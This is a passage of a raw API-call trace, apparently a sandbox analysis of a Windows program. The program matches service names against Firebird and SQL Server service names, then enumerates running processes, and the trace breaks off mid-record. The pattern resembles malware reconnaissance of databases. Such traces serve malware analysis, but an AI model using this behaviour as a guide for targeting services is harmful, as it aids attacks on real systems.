lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0283.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0283.333] lstrlenW (lpString="iphlpsvc") returned 8 [0283.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.333] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0283.333] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0283.334] lstrlenW (lpString="KeyIso") returned 6 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0283.334] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0283.334] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0283.334] lstrlenW (lpString="LanmanServer") returned 12 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0283.334] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0283.334] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0283.334] lstrlenW (lpString="LanmanWorkstation") returned 17 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.334] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0283.334] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0283.334] lstrlenW (lpString="lfsvc") returned 5 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0283.334] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0283.334] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0283.334] lstrlenW (lpString="lmhosts") returned 7 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0283.334] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0283.334] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0283.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0283.334] lstrlenW (lpString="LSM") returned 3 [0283.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0283.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0283.335] lstrlenW (lpString="MpsSvc") returned 6 [0283.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0283.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0283.335] lstrlenW (lpString="NcbService") returned 10 [0283.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0283.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0283.335] lstrlenW (lpString="netprofm") returned 8 [0283.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0283.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0283.335] lstrlenW (lpString="NgcSvc") returned 6 [0283.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0283.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0283.335] lstrlenW (lpString="NlaSvc") returned 6 [0283.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0283.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0283.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0283.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0283.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0283.335] lstrlenW (lpString="nsi") returned 3 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0283.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0283.336] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0283.336] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0283.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0283.336] lstrlenW (lpString="PcaSvc") returned 6 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0283.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0283.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0283.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0283.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0283.336] lstrlenW (lpString="PlugPlay") returned 8 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0283.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0283.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0283.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0283.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0283.336] lstrlenW (lpString="Power") returned 5 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0283.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0283.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0283.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0283.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0283.336] lstrlenW (lpString="ProfSvc") returned 7 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0283.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0283.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0283.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0283.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0283.336] lstrlenW (lpString="RpcEptMapper") returned 12 [0283.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0283.343] lstrlenW (lpString="RpcSs") returned 5 [0283.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0283.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0283.343] lstrlenW (lpString="SamSs") returned 5 [0283.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0283.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0283.343] lstrlenW (lpString="Schedule") returned 8 [0283.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0283.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0283.343] lstrlenW (lpString="SecurityHealthService") returned 21 [0283.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0283.343] lstrlenW (lpString="SENS") returned 4 [0283.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0283.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0283.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0283.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0283.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0283.343] lstrlenW (lpString="ShellHWDetection") returned 16 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0283.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0283.344] lstrlenW (lpString="Spooler") returned 7 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0283.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0283.344] lstrlenW (lpString="SSDPSRV") returned 7 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0283.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0283.344] lstrlenW (lpString="StateRepository") returned 15 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0283.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0283.344] lstrlenW (lpString="SysMain") returned 7 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0283.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0283.344] lstrlenW (lpString="SystemEventsBroker") returned 18 [0283.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0283.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0283.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0283.345] lstrlenW (lpString="Themes") returned 6 [0283.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0283.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0283.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0283.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0283.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d6980 | out: hHeap=0x6e0000) returned 1 [0283.345] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc [0283.347] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.348] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.349] lstrlenW (lpString="System") returned 6 [0283.349] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.349] lstrlenW (lpString="smss.exe") returned 8 [0283.349] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.350] lstrlenW (lpString="csrss.exe") returned 9 [0283.350] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.351] lstrlenW (lpString="wininit.exe") returned 11 [0283.351] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.351] lstrlenW (lpString="csrss.exe") returned 9 [0283.351] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.352] lstrlenW (lpString="winlogon.exe") returned 12 [0283.352] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.353] lstrlenW (lpString="services.exe") returned 12 [0283.353] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.353] lstrlenW (lpString="lsass.exe") returned 9 [0283.353] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.354] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.354] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.355] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.355] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.355] lstrlenW (lpString="svchost.exe") returned 11 [0283.355] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.356] lstrlenW (lpString="svchost.exe") returned 11 [0283.356] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.357] lstrlenW (lpString="dwm.exe") returned 7 [0283.357] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.357] lstrlenW (lpString="svchost.exe") returned 11 [0283.357] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.358] lstrlenW (lpString="svchost.exe") returned 11 [0283.358] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.359] lstrlenW (lpString="svchost.exe") returned 11 [0283.359] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.359] lstrlenW (lpString="svchost.exe") returned 11 [0283.359] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.360] lstrlenW (lpString="svchost.exe") returned 11 [0283.360] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.361] lstrlenW (lpString="svchost.exe") returned 11 [0283.361] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.362] lstrlenW (lpString="svchost.exe") returned 11 [0283.362] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.362] lstrlenW (lpString="svchost.exe") returned 11 [0283.362] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.363] lstrlenW (lpString="svchost.exe") returned 11 [0283.363] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.364] lstrlenW (lpString="svchost.exe") returned 11 [0283.364] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.364] lstrlenW (lpString="spoolsv.exe") returned 11 [0283.364] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.365] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0283.365] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.366] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0283.366] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.366] lstrlenW (lpString="Memory Compression") returned 18 [0283.366] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.367] lstrlenW (lpString="svchost.exe") returned 11 [0283.367] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.368] lstrlenW (lpString="audiodg.exe") returned 11 [0283.368] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0283.369] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.369] lstrlenW (lpString="sihost.exe") returned 10 [0283.369] Process32NextW (in: hSnapshot=0x3dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, 